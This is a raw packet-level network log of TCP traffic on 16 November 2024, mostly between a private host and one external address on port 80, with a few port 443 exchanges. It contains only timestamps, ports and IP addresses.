Nov 16, 2024 23:36:40.051964998 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.051989079 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.052017927 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.052022934 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.052035093 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.052058935 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.052090883 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.052100897 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.052125931 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.052156925 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.052166939 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.052192926 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.052227020 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.052238941 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.052262068 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.052267075 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.052313089 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.052356005 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.052365065 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.052442074 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.052475929 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.052486897 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.052509069 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.052520990 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.052561045 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.052561998 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.052596092 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.052603960 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.052629948 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.052639008 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.052665949 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.052671909 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.052700996 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.052710056 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.052752018 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.052797079 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.052803993 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.052838087 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.052885056 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.052889109 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.052922964 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.052936077 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.052967072 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.052974939 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.053014040 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.053026915 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.053077936 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.053078890 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.053121090 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.053155899 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.053195953 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.053239107 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.053246975 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.053281069 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.053303003 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.053314924 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.053354025 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.053364038 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.053411961 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.053416014 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.053450108 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.053492069 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.053504944 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.053556919 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.053586960 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.053591013 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.053617001 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.053623915 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.053626060 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.053664923 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.053673983 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.053709984 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.053744078 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.053756952 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.053777933 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.053801060 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.053827047 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.053827047 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.053878069 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.053909063 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.053913116 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.053919077 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.053966999 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.053967953 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.053982973 CET	443	49920	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:40.053999901 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.054047108 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.054053068 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.054105043 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.054132938 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.054145098 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.054156065 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.054192066 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.054233074 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.054245949 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.054299116 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.054331064 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.054351091 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.054372072 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.054384947 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.054421902 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.054423094 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.054459095 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.054467916 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.054498911 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.054511070 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.054544926 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.054549932 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.054578066 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.054585934 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.054615021 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.054630041 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.054657936 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.054673910 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.054691076 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.054697037 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.054724932 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.054758072 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.054769039 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.054791927 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.054824114 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.054833889 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.054858923 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.054867029 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.054888010 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.054923058 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.054934025 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.054956913 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.054971933 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.054996967 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.055002928 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.055035114 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.055083036 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.055087090 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.055128098 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.055138111 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.055166960 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.055217028 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.055217981 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.055253983 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.055267096 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.055305004 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.055346966 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.055357933 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.055363894 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.055389881 CET	49920	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:40.055417061 CET	443	49920	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:40.055417061 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.055428982 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.055465937 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.055469990 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.055521965 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.055530071 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.055556059 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.055566072 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.055597067 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.055605888 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.055640936 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.055649996 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.055675030 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.055686951 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.055717945 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.055727005 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.055759907 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.055771112 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.055797100 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.055804968 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.055846930 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.055881023 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.055891037 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.055932045 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.055953026 CET	49920	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:40.055959940 CET	443	49920	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:40.055967093 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.055982113 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.055982113 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.056001902 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.056037903 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.056051970 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.056066036 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.056097031 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.056098938 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.056109905 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.056133032 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.056139946 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.056163073 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.056174040 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.056195974 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.056202888 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.056230068 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.056237936 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.056262016 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.056267977 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.056299925 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.056298971 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.056329966 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.056363106 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.056368113 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.056397915 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.056431055 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.056440115 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.056479931 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.056499958 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.056513071 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.056519032 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.056546926 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.056576014 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.056590080 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.056610107 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.056617975 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.056643963 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.056651115 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.056677103 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.056684017 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.056710958 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.056715012 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.056740046 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.056754112 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.056772947 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.056791067 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.056808949 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.056809902 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.056838036 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.056850910 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.056871891 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.056915045 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.056926012 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.056958914 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.056992054 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.057003975 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.057027102 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.057029963 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.057063103 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.057085037 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.057106972 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.057112932 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.057151079 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.057163954 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.057195902 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.057224989 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.057229042 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.057243109 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.057269096 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.057276964 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.057322025 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.057329893 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.057362080 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.057395935 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.057399035 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.057429075 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.057449102 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.057462931 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.057470083 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.057496071 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.057542086 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.057549953 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.057593107 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.057600975 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.057646036 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.057653904 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.057692051 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.057703972 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.057739973 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.057784081 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.057790041 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.057822943 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.057854891 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.057868958 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.057890892 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.057890892 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.057945013 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.057988882 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.057997942 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.058031082 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.058064938 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.058090925 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.058103085 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.058109999 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.058136940 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.058168888 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.058178902 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.058201075 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.058212996 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.058233976 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.058243036 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.058289051 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.058303118 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.058332920 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.058355093 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.058367014 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.058401108 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.058413982 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.058434963 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.058442116 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.058468103 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.058475018 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.058501005 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.058509111 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.058533907 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.058543921 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.058563948 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.058597088 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.058605909 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.058630943 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.058634043 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.058662891 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.058677912 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.058697939 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.058700085 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.058726072 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.058739901 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.058758020 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.058765888 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.058792114 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.058800936 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.058824062 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.058829069 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.058859110 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.058870077 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.058891058 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.058901072 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.058923960 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.058938980 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.058964014 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.058994055 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.059036016 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.059070110 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.059103012 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.059129953 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.059137106 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.059159040 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.059170008 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.059180975 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.059201956 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.059220076 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.059236050 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.059248924 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.059269905 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:40.059277058 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:40.059303045 CET	80	49824	185.215.113.206	192.168.2.5
